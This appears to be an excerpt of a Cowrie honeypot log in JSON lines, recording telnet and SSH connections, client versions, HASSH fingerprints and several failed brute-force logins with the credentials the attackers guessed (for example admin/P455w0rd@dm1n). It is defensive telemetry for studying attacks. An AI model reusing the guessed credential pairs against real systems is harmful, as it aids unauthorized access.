{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33964,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aebca976ac2","protocol":"telnet","message":"New connection: 161.97.105.174:33964 (159.203.135.109:23) [session: 3aebca976ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:41.658862Z"}
{"eventid":"cowrie.session.closed","duration":33.238131046295166,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:44.645365Z","src_ip":"161.97.105.174","session":"0bcd874adc23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33970,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b36f41636a5","protocol":"telnet","message":"New connection: 161.97.105.174:33970 (159.203.135.109:23) [session: 9b36f41636a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:44.849642Z"}
{"eventid":"cowrie.session.closed","duration":13.60952115058899,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:45.680939Z","src_ip":"46.164.216.95","session":"7f1b286b68ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46588,"dst_ip":"10.17.0.5","dst_port":23,"session":"1179f120443c","protocol":"telnet","message":"New connection: 64.227.101.30:46588 (10.17.0.5:23) [session: 1179f120443c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:46.499637Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d36bc1e20a9f","protocol":"telnet","message":"New connection: 68.183.198.12:54704 (159.203.135.109:23) [session: d36bc1e20a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:47.803117Z"}
{"eventid":"cowrie.session.closed","duration":35.59200668334961,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:48.064327Z","src_ip":"64.227.101.30","session":"86efc07d6044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.95036196708679,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:48.138893Z","src_ip":"68.183.198.12","session":"0177b5c77efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.63122916221619,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:48.727597Z","src_ip":"64.227.101.30","session":"d3935ec41b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49138,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5732d72adf6","protocol":"telnet","message":"New connection: 64.227.101.30:49138 (10.17.0.5:23) [session: b5732d72adf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:54.527542Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":44980,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b0f8c4bea9","protocol":"ssh","message":"New connection: 209.99.189.174:44980 (10.17.0.5:22) [session: a8b0f8c4bea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:55.004381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:55.010125Z","src_ip":"209.99.189.174","session":"a8b0f8c4bea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:55.142349Z","src_ip":"209.99.189.174","session":"a8b0f8c4bea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1123","message":"login attempt [test1/test1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:55.699460Z","src_ip":"209.99.189.174","session":"a8b0f8c4bea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50334,"dst_ip":"10.17.0.5","dst_port":23,"session":"c56cb8215241","protocol":"telnet","message":"New connection: 64.227.101.30:50334 (10.17.0.5:23) [session: c56cb8215241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:56.201563Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:56.833777Z","src_ip":"209.99.189.174","session":"a8b0f8c4bea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.077544927597046,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:58.250034Z","src_ip":"64.227.101.30","session":"1acaff8169e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.758445501327515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:50:59.135946Z","src_ip":"161.97.105.174","session":"ff2b6ac55931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.43568563461304,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:00.729205Z","src_ip":"64.227.101.30","session":"96ae69fb0031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.26314330101013,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:01.387456Z","src_ip":"64.227.101.30","session":"a04840b9e8cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.47673273086548,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:06.688847Z","src_ip":"64.227.101.30","session":"001a52235ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54194,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c1d153e7f2","protocol":"telnet","message":"New connection: 64.227.101.30:54194 (10.17.0.5:23) [session: 01c1d153e7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:11.905365Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54252,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9f68f207a1","protocol":"telnet","message":"New connection: 64.227.101.30:54252 (10.17.0.5:23) [session: fd9f68f207a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:12.074838Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d683f7f1c4d5","protocol":"telnet","message":"New connection: 68.183.198.12:58762 (159.203.135.109:23) [session: d683f7f1c4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:12.373476Z"}
{"eventid":"cowrie.session.closed","duration":68.30509877204895,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:12.393549Z","src_ip":"64.227.101.30","session":"ed61b0f881a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"5880a6b7fdde","protocol":"telnet","message":"New connection: 161.97.105.174:43186 (159.203.135.109:23) [session: 5880a6b7fdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:14.935598Z"}
{"eventid":"cowrie.session.closed","duration":35.62567138671875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:17.284428Z","src_ip":"161.97.105.174","session":"3aebca976ac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90483522415161,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:19.754366Z","src_ip":"161.97.105.174","session":"9b36f41636a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"f69896844986","protocol":"ssh","message":"New connection: 200.118.150.20:50648 (159.203.135.109:22) [session: f69896844986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:22.780401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:22.787702Z","src_ip":"200.118.150.20","session":"f69896844986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:22.876894Z","src_ip":"200.118.150.20","session":"f69896844986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P455w0rd@dm1n","message":"login attempt [admin/P455w0rd@dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:23.266850Z","src_ip":"200.118.150.20","session":"f69896844986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:24.358193Z","src_ip":"200.118.150.20","session":"f69896844986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":59554,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e4c5c3962fe","protocol":"telnet","message":"New connection: 68.183.198.12:59554 (159.203.135.109:23) [session: 8e4c5c3962fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:24.771654Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57644,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eafb5d10aeb","protocol":"telnet","message":"New connection: 64.227.101.30:57644 (10.17.0.5:23) [session: 4eafb5d10aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:25.328609Z"}
{"eventid":"cowrie.session.closed","duration":1.8896751403808594,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:26.661207Z","src_ip":"68.183.198.12","session":"8e4c5c3962fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51044,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c464db8602","protocol":"ssh","message":"New connection: 193.32.162.145:51044 (10.17.0.5:22) [session: c6c464db8602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:27.017634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:27.026902Z","src_ip":"193.32.162.145","session":"c6c464db8602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:27.124292Z","src_ip":"193.32.162.145","session":"c6c464db8602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sollet","message":"login attempt [sol/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:27.522533Z","src_ip":"193.32.162.145","session":"c6c464db8602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"675124147d48","protocol":"telnet","message":"New connection: 64.227.101.30:48902 (10.17.0.5:23) [session: 675124147d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:28.249235Z"}
{"eventid":"cowrie.session.closed","duration":0.0045201778411865234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:28.253644Z","src_ip":"64.227.101.30","session":"675124147d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:28.640394Z","src_ip":"193.32.162.145","session":"c6c464db8602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.40701866149902,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:30.934448Z","src_ip":"64.227.101.30","session":"b5732d72adf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.17232656478882,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:33.975313Z","src_ip":"68.183.198.12","session":"d36bc1e20a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33884,"dst_ip":"159.203.135.109","dst_port":23,"session":"63598e19c859","protocol":"telnet","message":"New connection: 68.183.198.12:33884 (159.203.135.109:23) [session: 63598e19c859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:34.450929Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33888,"dst_ip":"159.203.135.109","dst_port":23,"session":"125016f8053e","protocol":"telnet","message":"New connection: 68.183.198.12:33888 (159.203.135.109:23) [session: 125016f8053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:37.478683Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34454,"dst_ip":"159.203.135.109","dst_port":23,"session":"140e01e995ca","protocol":"telnet","message":"New connection: 68.183.198.12:34454 (159.203.135.109:23) [session: 140e01e995ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:38.322609Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bff373b93a4","protocol":"telnet","message":"New connection: 64.227.101.30:33624 (10.17.0.5:23) [session: 5bff373b93a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:40.619421Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35460,"dst_ip":"10.17.0.5","dst_port":23,"session":"7614de69c73e","protocol":"telnet","message":"New connection: 64.227.101.30:35460 (10.17.0.5:23) [session: 7614de69c73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:42.839236Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":46856,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac309933123f","protocol":"ssh","message":"New connection: 209.99.189.174:46856 (10.17.0.5:22) [session: ac309933123f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:45.974717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:45.980419Z","src_ip":"209.99.189.174","session":"ac309933123f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:46.108818Z","src_ip":"209.99.189.174","session":"ac309933123f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:46.651391Z","src_ip":"209.99.189.174","session":"ac309933123f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.989136934280396,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:47.063865Z","src_ip":"64.227.101.30","session":"fd9f68f207a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:47.781735Z","src_ip":"209.99.189.174","session":"ac309933123f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.5850944519043,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:49.490346Z","src_ip":"64.227.101.30","session":"01c1d153e7f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36400,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e4080e2878","protocol":"telnet","message":"New connection: 68.183.198.12:36400 (159.203.135.109:23) [session: c5e4080e2878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:50.006884Z"}
{"eventid":"cowrie.session.closed","duration":54.659385442733765,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:50.860859Z","src_ip":"64.227.101.30","session":"c56cb8215241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05012845993042,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:51.985554Z","src_ip":"161.97.105.174","session":"5880a6b7fdde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.29549026489258,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:51:52.668875Z","src_ip":"68.183.198.12","session":"d683f7f1c4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":37864,"dst_ip":"159.203.135.109","dst_port":23,"session":"af99669d6ff3","protocol":"telnet","message":"New connection: 161.97.105.174:37864 (159.203.135.109:23) [session: af99669d6ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:00.254500Z"}
{"eventid":"cowrie.session.closed","duration":74.53473353385925,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:52:01.034257Z","src_ip":"64.227.101.30","session":"1179f120443c","protocol":"telnet"}
